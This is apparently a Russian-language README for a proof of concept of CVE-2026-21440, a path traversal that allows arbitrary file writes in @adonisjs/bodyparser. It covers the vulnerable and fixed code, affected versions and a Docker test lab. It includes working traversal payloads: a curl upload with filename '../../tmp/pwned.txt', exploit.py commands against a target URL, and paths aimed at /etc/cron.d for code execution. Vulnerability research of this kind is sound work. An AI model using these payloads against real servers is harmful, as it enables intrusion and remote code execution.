poc и writeup для cve-2026-21440: критическая уязвимость обхода пути в @adonisjs/bodyparser, позволяющая произвольную запись файлов
path traversal к произвольной записи файлов в @adonisjs/bodyparser
критическая уязвимость path traversal существует в пакете @adonisjs/bodyparser, которая позволяет удалённым атакующим записывать произвольные файлы за пределами предполагаемой директории загрузки. когда функция multipartfile.move() вызывается без явного указания санитизированного имени файла, парсер по умолчанию использует имя файла, предоставленное клиентом, без надлежащей санитизации.
поскольку реализация использует path.join(), а options.overwrite по умолчанию равен true, атакующий может создать вредоносное имя файла, содержащее последовательности обхода директорий (например, ), чтобы записывать файлы в любом месте файловой системы, что потенциально может привести к удалённому выполнению кода.
../../etc/cron.d/malicious| атрибут | значение |
|---|---|
| идентификатор cve | cve-2026-21440 |
| классификация cwe | cwe-22: неправильное ограничение пути к ограниченной директории ('path traversal') |
| оценка cvss v3.1 | 9.2 (критическая) |
| вектор атаки | сеть |
| сложность атаки | низкая |
| требуемые привилегии | отсутствуют |
| взаимодействие с пользователем | отсутствует |
уязвимость существует в методе multipartfile.move(location, options?). когда разработчики вызывают этот метод без указания options.name, код по умолчанию использует this.clientName — исходное имя файла, отправленное клиентом, — без санитизации.
// уязвимый путь кода в @adonisjs/bodyparser
async move(location: string, options?: { name?: string; overwrite?: boolean }): Promise<void> {
const fileName = options?.name || this.clientName // ← несанитизированный ввод клиента
const filePath = path.join(location, fileName) // ← path.join допускает обход
// ...
await fs.move(this.tmpPath, filePath, { overwrite: options?.overwrite ?? true })
}
┌─────────────────────────────────────────────────────────────────┐
│ атакующий │
└─────────────────────────────────────────────────────────────────┘
│
│ multipart/form-data
│ filename="../../etc/cron.d/pwned"
▼
┌─────────────────────────────────────────────────────────────────┐
│ уязвимое приложение adonisjs │
│ │
│ request.file('upload') │
│ │ │
│ ▼ │
│ file.move(app.tmpPath()) ← не указано санитизированное имя │
│ │ │
│ ▼ │
│ path.join('/tmp/uploads', '../../etc/cron.d/pwned') │
│ │ │
│ ▼ │
│ разрешается в: /etc/cron.d/pwned │
│ │ │
│ ▼ │
│ файл записан за пределами директории загрузки │
└─────────────────────────────────────────────────────────────────┘
│
▼
произвольная запись файла
→ rce через cron
→ перезапись конфигурации
→ внедрение ssh-ключей
| пакет | уязвимые версии | исправленная версия |
|---|---|---|
@adonisjs/bodyparser | ≤ 10.1.1 | 10.1.2 |
@adonisjs/bodyparser | 11.0.0-next.1 до 11.0.0-next.5 | 11.0.0-next.6 |
@adonisjs/bodyparserfile.move() без явного параметра name# перейти в директорию эксплойта
cd Exploit-PoC
# установить зависимости
pip install -r requirements.txt
# запустить эксплойт
python exploit.py --url http://target:3333/upload --path "../../../tmp/pwned.txt" --content "pwned"
curl -X POST http://target:3333/upload \
-F "[email protected];filename=../../tmp/pwned.txt"
// ❌ уязвимо - использует имя файла, предоставленное клиентом
public async upload({ request, response }: HttpContext) {
const file = request.file('upload')
if (file) {
await file.move(app.tmpPath()) // clientName используется как имя файла
}
return response.ok({ message: 'uploaded' })
}
// ✅ безопасно - генерирует санитизированное имя файла
import { cuid } from '@adonisjs/core/helpers'
import path from 'node:path'
public async upload({ request, response }: HttpContext) {
const file = request.file('upload')
if (file) {
// сгенерировать уникальное имя файла с исходным расширением
const ext = path.extname(file.clientName).toLowerCase()
const safeName = `${cuid()}${ext}`
await file.move(app.tmpPath(), {
name: safeName,
overwrite: false // предотвратить перезапись
})
}
return response.ok({ message: 'uploaded' })
}
@adonisjs/bodyparser до исправленной версии# клонировать репозиторий
git clone https://github.com/k0nnect/cve-2026-21440.git
cd cve-2026-21440
# запустить уязвимую среду
docker-compose up --build
# в другом терминале запустить эксплойт
cd Exploit-PoC
python exploit.py --url http://localhost:3333/upload --path "../test.txt"
# проверить, что файл записан за пределами директории загрузок
docker-compose exec app cat /app/test.txt
| дата | событие |
|---|---|
| 2026-01-02 | выпущен патч в версиях 10.1.2 и 11.0.0-next.6 |
| 2026-01-02 | опубликован ghsa-gvq6-hvvp-h34h |
| 2026-01-02 | присвоен cve-2026-21440 |
| 2026-01-02 | опубликовано nvd |
этот репозиторий предоставлен только для образовательных целей и авторизованных исследований в области безопасности. код доказательства концепции предназначен для того, чтобы помочь специалистам по безопасности понять и протестировать эту уязвимость в средах, которые им разрешено оценивать.
несанкционированный доступ к компьютерным системам является незаконным. авторы не несут ответственности за неправомерное использование этой информации. всегда получайте надлежащее разрешение перед тестированием на уязвимости.
исследовано с ☕ by k0nnect